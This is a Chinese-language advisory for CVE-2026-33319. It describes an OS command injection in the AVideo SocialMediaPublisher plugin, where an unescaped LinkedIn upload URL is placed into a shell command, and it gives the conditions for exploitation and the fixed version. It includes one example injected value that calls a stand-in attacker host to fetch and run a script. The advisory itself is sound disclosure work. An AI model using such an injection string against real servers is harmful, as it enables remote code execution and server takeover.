CVE-2026-33319WWBN AVideo是一个开源视频平台。在26.0版本之前,其SocialMediaPublisher插件中的`uploadVideoToLinkedIn()`方法存在安全漏洞。该方法在处理来自LinkedIn API响应的上传URL时,直接将其拼接到shell命令中,且未经过`escapeshellarg()`函数的过滤或转义。如果攻击者能够通过中间人攻击、窃取OAuth令牌或攻陷LinkedIn API来篡改API响应,就可以利用该漏洞注入任意操作系统命令。这些命令将以Web服务器的用户权限执行,可能导致服务器被完全控制。该问题在26.0版本中已被修复。
该漏洞属于典型的操作系统命令注入漏洞。其根本原因在于WWBN AVideo的SocialMediaPublisher插件中的`uploadVideoToLinkedIn()`方法未对第三方API的输入进行严格的过滤。具体而言,该函数直接将LinkedIn API返回的`upload_url`参数拼接到系统Shell命令字符串中。由于开发者未使用`escapeshellarg()`等函数对URL进行转义,攻击者可以通过构造包含特殊字符(如分号`;`、管道符`|`、逻辑与`&`等)的恶意数据来改变原有的命令逻辑。在利用条件上,攻击者需要具备高权限用户身份(PR:H),并能够篡改LinkedIn的API响应。这可以通过中间人攻击(MITM)、获取OAuth令牌或攻陷LinkedIn API服务端来实现。一旦攻击者成功注入,例如将URL修改为`http://attacker.com/poc.sh; bash poc.sh`,Web服务器将执行该恶意命令。由于攻击链涉及网络层面的篡改,且不需要最终用户的交互(UI:N),这使得拥有一定权限的攻击者能够轻易在服务器端执行任意代码,进而控制整个服务器。